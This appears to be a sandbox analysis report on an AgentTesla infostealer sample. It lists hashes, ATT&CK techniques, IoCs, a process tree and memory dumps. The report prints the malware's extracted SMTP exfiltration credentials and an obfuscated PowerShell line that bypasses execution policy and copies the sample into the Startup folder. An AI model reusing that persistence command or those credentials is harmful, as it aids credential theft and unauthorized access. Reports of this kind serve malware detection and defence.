agenttesla | de8e0a641f0d9766a2070075977f173540d308d4bd9891ed79886f1d3946c692

General

Target

9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe
Size

505KB
MD5

c38004d64527485b578d23cece3566ae
SHA1

765cb217e0da4d242359b4dd6b96adb7872a9c16
SHA256

9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984
SHA512

6f9188649985313fa4017ee36dc2bb9a77b564df3168053847bc44414eb1e24f20c43d8bbda6bbb5fdc3d968da7429decd8303e45b37bae9dd9261cd48227975
SSDEEP

12288:QccV48SQpcAMxZs1W05ICMDdmFeyZ4fa:zh8SQpc01W0cQZ4fa

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
gator3220.hostgator.com
Port:
587
Username:
[email protected]
Password:
28#75@ts76#V1F8h
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	api.ipify.org
3	api.ipify.org
4	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1932 set thread context of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1976	Powershell.exe
2680	RegAsm.exe
2680	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	Powershell.exe
Token: SeDebugPrivilege	2680	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2680	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 1976	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	28
PID 1932 wrote to memory of 1976	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	28
PID 1932 wrote to memory of 1976	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	28
PID 1932 wrote to memory of 1976	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	28
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30
PID 1932 wrote to memory of 2680	1932	9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe	30

C:\Users\Admin\AppData\Local\Temp\9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe
"C:\Users\Admin\AppData\Local\Temp\9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
  "Powershell.exe" 東б屁एचтぎ儿ト丽-東б屁एचтぎ儿ト丽E東б屁एचтぎ儿ト丽x東б屁एचтぎ儿ト丽e東б屁एचтぎ儿ト丽c東б屁एचтぎ儿ト丽u東б屁एचтぎ儿ト丽t東б屁एचтぎ儿ト丽i東б屁एचтぎ儿ト丽o東б屁एचтぎ儿ト丽n東б屁एचтぎ儿ト丽P東б屁एचтぎ儿ト丽o東б屁एचтぎ儿ト丽l東б屁एचтぎ儿ト丽i東б屁एचтぎ儿ト丽c東б屁एचтぎ儿ト丽y東б屁एचтぎ儿ト丽東б屁एचтぎ儿ト丽B東б屁एचтぎ儿ト丽y東б屁एचтぎ儿ト丽p東б屁एचтぎ儿ト丽a東б屁एचтぎ儿ト丽s東б屁एचтぎ儿ト丽s東б屁एचтぎ儿ト丽東б屁एचтぎ儿ト丽-東б屁एचтぎ儿ト丽c東б屁एचтぎ儿ト丽o東б屁एचтぎ儿ト丽m東б屁एचтぎ儿ト丽m東б屁एचтぎ儿ト丽a東б屁एचтぎ儿ト丽n東б屁एचтぎ儿ト丽d 東б屁एचтぎ儿トC東б屁एचтぎ儿トo東б屁एचтぎ儿トp東б屁एचтぎ儿トy東б屁एचтぎ儿ト-東б屁एचтぎ儿トI東б屁एचтぎ儿トt東б屁एचтぎ儿トe東б屁एचтぎ儿トm 'C:\Users\Admin\AppData\Local\Temp\9b6fc00623210be4340042bb63c2e7d674cb62de15d8d296ac93a6ad57e78984.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\command-line.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1932-27-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/1932-1-0x0000000000920000-0x00000000009A4000-memory.dmp

Filesize
528KB

Download
memory/1932-2-0x0000000004220000-0x0000000004272000-memory.dmp

Filesize
328KB

Download
memory/1932-3-0x0000000074CA0000-0x000000007538E000-memory.dmp

Filesize
6.9MB

Download
memory/1932-11-0x00000000003C0000-0x00000000003CA000-memory.dmp

Filesize
40KB

Download
memory/1932-0-0x0000000074CAE000-0x0000000074CAF000-memory.dmp

Filesize
4KB

Download
memory/1976-6-0x0000000070381000-0x0000000070382000-memory.dmp

Filesize
4KB

Download
memory/1976-7-0x0000000070380000-0x000000007092B000-memory.dmp

Filesize
5.7MB

Download
memory/1976-10-0x0000000070380000-0x000000007092B000-memory.dmp

Filesize
5.7MB

Download
memory/1976-9-0x0000000070380000-0x000000007092B000-memory.dmp

Filesize
5.7MB

Download
memory/1976-8-0x0000000070380000-0x000000007092B000-memory.dmp

Filesize
5.7MB

Download
memory/1976-28-0x0000000070380000-0x000000007092B000-memory.dmp

Filesize
5.7MB

Download
memory/2680-12-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2680-24-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2680-23-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2680-20-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2680-18-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2680-14-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2680-26-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/2680-16-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download

Analysis

Sharing